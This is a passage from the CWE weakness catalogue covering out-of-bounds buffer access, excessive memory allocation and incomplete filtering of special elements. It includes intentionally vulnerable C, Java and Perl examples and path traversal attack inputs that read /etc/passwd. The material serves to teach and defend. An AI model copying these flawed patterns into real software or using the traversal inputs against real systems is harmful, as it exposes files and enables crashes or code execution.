Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1218	Memory Buffer Errors	2272

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory  <i>For an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.</i>	
Integrity Availability	Modify Memory DoS: Crash, Exit, or Restart  <i>Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of</i>	

Scope	Impact	Likelihood
Integrity	<p>availability are possible, including putting the program into an infinite loop.</p> <p>Modify Memory Execute Unauthorized Code or Commands</p> <p><i>If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), they can redirect a function pointer to their own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.</i></p>	

### Demonstrative Examples

#### Example 1:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

*Example Language: C*

*(Bad)*

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

#### Example 2:

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

*Example Language: C*

*(Bad)*

```
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
    * else, return -1 to indicate an error
    */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
}
```

```
...
}
```

If `returnChunkSize()` happens to encounter an error it will return -1. Notice that the return value is not checked before the `memcpy` operation (CWE-252), so -1 can be passed as the size argument to `memcpy()` (CWE-805). Because `memcpy()` assumes that the value is unsigned, it will be interpreted as `MAXINT-1` (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

### Example 3:

This example applies an encoding procedure to an input string and stores it into a buffer.

Example Language: C

(Bad)

```
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    dst_index = 0;
    for ( i = 0; i < strlen(user_supplied_string); i++ ){
        if ( '&' == user_supplied_string[i] ){
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = 'a';
            dst_buf[dst_index++] = 'm';
            dst_buf[dst_index++] = 'p';
            dst_buf[dst_index++] = ';';
        }
        else if ('<' == user_supplied_string[i] ){
            /* encode to &lt; */
        }
        else dst_buf[dst_index++] = user_supplied_string[i];
    }
    return dst_buf;
}
```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

### Example 4:

In the following C/C++ example the method `processMessageFromSocket()` will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

Example Language: C

(Bad)

```
int processMessageFromSocket(int socket) {
    int success;
    char buffer[BUFFER_SIZE];
    char message[MESSAGE_SIZE];
    // get message from socket and store into buffer
    // ignoring possibility that buffer > BUFFER_SIZE
    if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
        // place contents of the buffer into message structure
        ExMessage *msg = recastBuffer(buffer);
        // copy message body into string for processing
        int index;
```

```

for (index = 0; index < msg->msgLength; index++) {
    message[index] = msg->msgBody[index];
}
message[index] = '\0';
// process message
success = processMessage(message);
}
return success;
}

```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

### Observed Examples

Reference	Description
<b>CVE-2009-2550</b>	Classic stack-based buffer overflow in media player using a long entry in a playlist <a href="https://www.cve.org/CVERecord?id=CVE-2009-2550">https://www.cve.org/CVERecord?id=CVE-2009-2550</a>
<b>CVE-2009-2403</b>	Heap-based buffer overflow in media player using a long entry in a playlist <a href="https://www.cve.org/CVERecord?id=CVE-2009-2403">https://www.cve.org/CVERecord?id=CVE-2009-2403</a>
<b>CVE-2009-0689</b>	large precision value in a format string triggers overflow <a href="https://www.cve.org/CVERecord?id=CVE-2009-0689">https://www.cve.org/CVERecord?id=CVE-2009-0689</a>
<b>CVE-2009-0558</b>	attacker-controlled array index leads to code execution <a href="https://www.cve.org/CVERecord?id=CVE-2009-0558">https://www.cve.org/CVERecord?id=CVE-2009-0558</a>
<b>CVE-2008-4113</b>	OS kernel trusts userland-supplied length value, allowing reading of sensitive information <a href="https://www.cve.org/CVERecord?id=CVE-2008-4113">https://www.cve.org/CVERecord?id=CVE-2008-4113</a>
<b>CVE-2007-4268</b>	Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122) <a href="https://www.cve.org/CVERecord?id=CVE-2007-4268">https://www.cve.org/CVERecord?id=CVE-2007-4268</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	1129	CISQ Quality Measures (2016) - Reliability	1128	2233

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM- CWE-788		

### References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

## CWE-789: Memory Allocation with Excessive Size Value

Weakness ID : 789

Structure : Simple



**Abstraction** : Variant

## Description

The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	1284	Improper Validation of Specified Quantity in Input	1965
ChildOf	B	770	Allocation of Resources Without Limits or Throttling	1502
PeerOf	B	1325	Improperly Controlled Sequential Memory Allocation	2035
CanFollow	V	129	Improper Validation of Array Index	327
CanPrecede	B	476	NULL Pointer Dereference	1070

## Weakness Ordinalities

**Primary** :

**Resultant** :

## Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

**Language** : Not Language-Specific (Prevalence = Undetermined)

## Alternate Terms

**Stack Exhaustion** : When a weakness allocates excessive memory on the stack, it is often described as "stack exhaustion," which is a technical impact of the weakness. This technical impact is often encountered as a consequence of CWE-789 and/or CWE-1325.

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Memory)  <i>Not controlling memory allocation can result in a request for too much system memory, possibly leading to a crash of the application due to out-of-memory conditions, or the consumption of a large amount of memory on the system.</i>	

## Potential Mitigations

**Phase: Implementation**

**Phase: Architecture and Design**

Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.

**Phase: Operation**

Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.

## Demonstrative Examples

### Example 1:

Consider the following code, which accepts an untrusted size value and allocates a buffer to contain a string of the given size.

*Example Language: C*

*(Bad)*

```
unsigned int size = GetUntrustedInt();  
/* ignore integer overflow (CWE-190) for this example */  
unsigned int totBytes = size * sizeof(char);  
char *string = (char *)malloc(totBytes);  
InitializeString(string);
```

Suppose an attacker provides a size value of:

12345678

This will cause 305,419,896 bytes (over 291 megabytes) to be allocated for the string.

### Example 2:

Consider the following code, which accepts an untrusted size value and uses the size as an initial capacity for a HashMap.

*Example Language: Java*

*(Bad)*

```
unsigned int size = GetUntrustedInt();  
HashMap list = new HashMap(size);
```

The HashMap constructor will verify that the initial capacity is not negative, however there is no check in place to verify that sufficient memory is present. If the attacker provides a large enough value, the application will run into an OutOfMemoryError.

### Example 3:

This code performs a stack allocation based on a length calculation.

*Example Language: C*

*(Bad)*

```
int a = 5, b = 6;  
size_t len = a - b;  
char buf[len]; // Just blows up the stack  
}
```

Since a and b are declared as signed ints, the "a - b" subtraction gives a negative result (-1). However, since len is declared to be unsigned, len is cast to an extremely large positive number (on 32-bit systems - 4294967295). As a result, the buffer buf[len] declaration uses an extremely large size to allocate on the stack, very likely more than the entire computer's memory space.

Miscalculations usually will not be so obvious. The calculation will either be complicated or the result of an attacker's input to attain the negative value.

### Example 4:

This example shows a typical attempt to parse a string with an error resulting from a difference in assumptions between the caller to a function and the function's action.

*Example Language: C*

*(Bad)*

```
int proc_msg(char *s, int msg_len)  
{  
    // Note space at the end of the string - assume all strings have preamble with space  
    int pre_len = sizeof("preamble: ");  
    char buf[pre_len - msg_len];
```

```

... Do processing here if we get this far
}
char *s = "preamble: message\n";
char *sl = strchr(s, ':'); // Number of characters up to ':' (not including space)
int jnklen = sl == NULL ? 0 : sl - s; // If undefined pointer, use zero length
int ret_val = proc_msg ("s", jnklen); // Violate assumption of preamble length, end up with negative value, blow out stack

```

The buffer length ends up being -1, resulting in a blown out stack. The space character after the colon is included in the function calculation, but not in the caller's calculation. This, unfortunately, is not usually so obvious but exists in an obtuse series of calculations.

### Example 5:

The following code obtains an untrusted number that is used as an index into an array of messages.

*Example Language: Perl*

*(Bad)*

```

my $num = GetUntrustedNumber();
my @messages = ();
$messages[$num] = "Hello World";

```

The index is not validated at all (CWE-129), so it might be possible for an attacker to modify an element in @messages that was not intended. If an index is used that is larger than the current size of the array, the Perl interpreter automatically expands the array so that the large index works.

If \$num is a large value such as 2147483648 ( $1 \ll 31$ ), then the assignment to \$messages[\$num] would attempt to create a very large array, then eventually produce an error message such as:

Out of memory during array extend

This memory exhaustion will cause the Perl program to exit, possibly a denial of service. In addition, the lack of memory could also prevent many other programs from successfully running on the system.

### Example 6:

This example shows a typical attempt to parse a string with an error resulting from a difference in assumptions between the caller to a function and the function's action. The buffer length ends up being -1 resulting in a blown out stack. The space character after the colon is included in the function calculation, but not in the caller's calculation. This, unfortunately, is not usually so obvious but exists in an obtuse series of calculations.

*Example Language: C*

*(Bad)*

```

int proc_msg(char *s, int msg_len)
{
    int pre_len = sizeof("preamble: "); // Note space at the end of the string - assume all strings have preamble with space
    char buf[pre_len - msg_len];
    ... Do processing here and set status
    return status;
}
char *s = "preamble: message\n";
char *sl = strchr(s, ':'); // Number of characters up to ':' (not including space)
int jnklen = sl == NULL ? 0 : sl - s; // If undefined pointer, use zero length
int ret_val = proc_msg ("s", jnklen); // Violate assumption of preamble length, end up with negative value, blow out stack

```

*Example Language: C*

*(Good)*

```

int proc_msg(char *s, int msg_len)
{
    int pre_len = sizeof("preamble: "); // Note space at the end of the string - assume all strings have preamble with space
    if (pre_len <= msg_len) { // Log error; return error_code; }
    char buf[pre_len - msg_len];
    ... Do processing here and set status
}

```

```

return status;
}
char *s = "preamble: message\n";
char *sl = strchr(s, ':'); // Number of characters up to ':' (not including space)
int jnklen = sl == NULL ? 0 : sl - s; // If undefined pointer, use zero length
int ret_val = proc_msg("s", jnklen); // Violate assumption of preamble length, end up with negative value, blow out stack





```

## Observed Examples

Reference	Description
<b>CVE-2022-21668</b>	Chain: Python library does not limit the resources used to process images that specify a very large number of bands (CWE-1284), leading to excessive memory consumption (CWE-789) or an integer overflow (CWE-190). <a href="https://www.cve.org/CVERecord?id=CVE-2022-21668">https://www.cve.org/CVERecord?id=CVE-2022-21668</a>
<b>CVE-2010-3701</b>	program uses ::alloca() for encoding messages, but large messages trigger segfault <a href="https://www.cve.org/CVERecord?id=CVE-2010-3701">https://www.cve.org/CVERecord?id=CVE-2010-3701</a>
<b>CVE-2008-1708</b>	memory consumption and daemon exit by specifying a large value in a length field <a href="https://www.cve.org/CVERecord?id=CVE-2008-1708">https://www.cve.org/CVERecord?id=CVE-2008-1708</a>
<b>CVE-2008-0977</b>	large value in a length field leads to memory consumption and crash when no more memory is available <a href="https://www.cve.org/CVERecord?id=CVE-2008-0977">https://www.cve.org/CVERecord?id=CVE-2008-0977</a>
<b>CVE-2006-3791</b>	large key size in game program triggers crash when a resizing function cannot allocate enough memory <a href="https://www.cve.org/CVERecord?id=CVE-2006-3791">https://www.cve.org/CVERecord?id=CVE-2006-3791</a>
<b>CVE-2004-2589</b>	large Content-Length HTTP header value triggers application crash in instant messaging application due to failure in memory allocation <a href="https://www.cve.org/CVERecord?id=CVE-2004-2589">https://www.cve.org/CVERecord?id=CVE-2004-2589</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1131	CISQ Quality Measures (2016) - Security	1128	2235
MemberOf		1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	2251
MemberOf		1179	SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)	1178	2258
MemberOf		1308	CISQ Quality Measures - Security	1305	2278

## Notes

### Relationship

This weakness can be closely associated with integer overflows (CWE-190). Integer overflow attacks would concentrate on providing an extremely large number that triggers an overflow that causes less memory to be allocated than expected. By providing a large value that does not trigger an integer overflow, the attacker could still cause excessive amounts of memory to be allocated.

### Applicable Platform

Uncontrolled memory allocation is possible in many languages, such as dynamic array allocation in perl or initial size parameters in Collections in Java. However, languages like C and C++ where programmers have the power to more directly control memory management will be more susceptible.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	35		SOAP Array Abuse
CERT C Secure Coding	MEM35-C	Imprecise	Allocate sufficient memory for an object
SEI CERT Perl Coding Standard	IDS32-PL	Imprecise	Validate any integer that is used as an array index
OMG ASCSM	ASCSM-CWE-789		

## References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

## CWE-790: Improper Filtering of Special Elements

**Weakness ID** : 790

**Structure** : Simple

**Abstraction** : Class



### Description

The product receives data from an upstream component, but does not filter or incorrectly filters special elements before sending it to a downstream component.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	357
ParentOf		791	Incomplete Filtering of Special Elements	1564

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Demonstrative Examples

#### Example 1:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

*Example Language: Perl*

*(Bad)*

```
my $Username = GetUntrustedInput();
```

```
$Username =~ s/\.\.//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

*Example Language:*

*(Attack)*

```
../../../../etc/passwd
```

will have the first "../" stripped, resulting in:

*Example Language:*

*(Result)*

```
../../../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

*Example Language:*

*(Result)*

```
/home/user../../../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

## CWE-791: Incomplete Filtering of Special Elements

**Weakness ID :** 791

**Structure :** Simple

**Abstraction :** Base

### Description

The product receives data from an upstream component, but does not completely filter special elements before sending it to a downstream component.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		790	Improper Filtering of Special Elements	1563
ParentOf		792	Incomplete Filtering of One or More Instances of Special Elements	1565
ParentOf		795	Only Filtering Special Elements at a Specified Location	1569

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		137	Data Neutralization Issues	2102

## Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

## Demonstrative Examples

### Example 1:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl

(Bad)

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Example Language:

(Attack)

```
../../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language:

(Result)

```
../../../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language:

(Result)

```
/home/user../../../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

## CWE-792: Incomplete Filtering of One or More Instances of Special Elements

**Weakness ID :** 792

**Structure :** Simple

**Abstraction :** Variant

### Description

The product receives data from an upstream component, but does not completely filter one or more instances of special elements before sending it to a downstream component.

### Extended Description

Incomplete filtering of this nature involves either:

- only filtering a single instance of a special element when more exist, or
- not filtering all instances or all elements where multiple special elements exist.

### Relationships



The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		791	Incomplete Filtering of Special Elements	1564
ParentOf		793	Only Filtering One Instance of a Special Element	1567
ParentOf		794	Incomplete Filtering of Multiple Instances of Special Elements	1568

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Demonstrative Examples

#### Example 1:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

*Example Language: Perl*

*(Bad)*

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

*Example Language:*

*(Attack)*

```
../../../../etc/passwd
```

will have the first "../" stripped, resulting in:

*Example Language:*

*(Result)*

```
../../../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

*Example Language:*

*(Result)*

```
/home/user../../../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

## CWE-793: Only Filtering One Instance of a Special Element

**Weakness ID** : 793

**Structure** : Simple

**Abstraction** : Variant

### Description

The product receives data from an upstream component, but only filters a single instance of a special element before sending it to a downstream component.


### Extended Description

Incomplete filtering of this nature may be location-dependent, as in only the first or last element is filtered.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		792	Incomplete Filtering of One or More Instances of Special Elements	1565

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Demonstrative Examples

#### Example 1:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

*Example Language: Perl*

*(Bad)*

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

*Example Language:*

*(Attack)*

```
../../../../etc/passwd
```

will have the first "../" stripped, resulting in:

*Example Language:*

*(Result)*

```
../../../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language:

(Result)

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

## CWE-794: Incomplete Filtering of Multiple Instances of Special Elements

**Weakness ID** : 794

**Structure** : Simple

**Abstraction** : Variant

### Description

The product receives data from an upstream component, but does not filter all instances of a special element before sending it to a downstream component.

### Extended Description


Incomplete filtering of this nature may be applied to:

- sequential elements (special elements that appear next to each other) or
- non-sequential elements (special elements that appear multiple times in different locations).

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		792	Incomplete Filtering of One or More Instances of Special Elements	1565

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Demonstrative Examples

#### Example 1:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl

(Bad)

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.//;
my $filename = "/home/user/" . $Username;
```

```
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

*Example Language:*

*(Attack)*

```
../../../../etc/passwd
```

will have the first "../" stripped, resulting in:

*Example Language:*

*(Result)*

```
../../../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

*Example Language:*

*(Result)*

```
/home/user../../../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

## CWE-795: Only Filtering Special Elements at a Specified Location

**Weakness ID :** 795

**Structure :** Simple

**Abstraction :** Base

### Description

The product receives data from an upstream component, but only accounts for special elements at a specified location, thereby missing remaining special elements that may exist before sending it to a downstream component.

### Extended Description

A filter might only account for instances of special elements when they occur:

- relative to a marker (e.g. "at the beginning/end of string; the second argument"), or
- at an absolute position (e.g. "byte number 10").

This may leave special elements in the data that did not match the filter position, but still may be dangerous.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		791	Incomplete Filtering of Special Elements	1564
ParentOf		796	Only Filtering Special Elements Relative to a Marker	1571
ParentOf		797	Only Filtering Special Elements at an Absolute Position	1572

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	1019	Validate Inputs	2226

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	137	Data Neutralization Issues	2102

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Demonstrative Examples

#### Example 1:

The following code takes untrusted input and uses a regular expression to filter a "../" element located at the beginning of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

*Example Language: Perl*

*(Bad)*

```
my $Username = GetUntrustedInput();
$Username =~ s/^\.\.\//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression is only looking for an instance of "../" at the beginning of the string, it only removes the first "../" element. So an input value such as:

*Example Language:*

*(Attack)*

```
../../etc/passwd
```

will have the first "../" stripped, resulting in:

*Example Language:*

*(Result)*

```
../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

*Example Language:*

*(Result)*

```
/home/user/../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).

#### Example 2:

The following code takes untrusted input and uses a substring function to filter a 3-character "../" element located at the 0-index position of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

*Example Language: Perl*

*(Bad)*

```
my $Username = GetUntrustedInput();
if (substr($Username, 0, 3) eq '../') {
    $Username = substr($Username, 3);
}
```

```
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the if function is only looking for a substring of "../" between the 0 and 2 position, it only removes that specific "../" element. So an input value such as:

*Example Language:*

*(Attack)*

```
../../etc/passwd
```

will have the first "../" filtered, resulting in:

*Example Language:*

*(Result)*

```
../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

*Example Language:*

*(Result)*

```
/home/user/../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).

## CWE-796: Only Filtering Special Elements Relative to a Marker

**Weakness ID :** 796

**Structure :** Simple

**Abstraction :** Variant


### Description

The product receives data from an upstream component, but only accounts for special elements positioned relative to a marker (e.g. "at the beginning/end of a string; the second argument"), thereby missing remaining special elements that may exist before sending it to a downstream component.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		795	Only Filtering Special Elements at a Specified Location	1569

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Demonstrative Examples

**Example 1:**

The following code takes untrusted input and uses a regular expression to filter a "../" element located at the beginning of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

*Example Language: Perl*

*(Bad)*

```
my $Username = GetUntrustedInput();
$Username =~ s/^\.\.\//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression is only looking for an instance of "../" at the beginning of the string, it only removes the first "../" element. So an input value such as:

*Example Language:*

*(Attack)*

```
../../etc/passwd
```

will have the first "../" stripped, resulting in:

*Example Language:*

*(Result)*

```
../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

*Example Language:*

*(Result)*

```
/home/user/../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).

## CWE-797: Only Filtering Special Elements at an Absolute Position

**Weakness ID :** 797

**Structure :** Simple

**Abstraction :** Variant

### Description

The product receives data from an upstream component, but only accounts for special elements at an absolute position (e.g. "byte number 10"), thereby missing remaining special elements that may exist before sending it to a downstream component.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		795	Only Filtering Special Elements at a Specified Location	1569

*Relevant to the view "Architectural Concepts" (CWE-1008)*



Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Demonstrative Examples

#### Example 1:

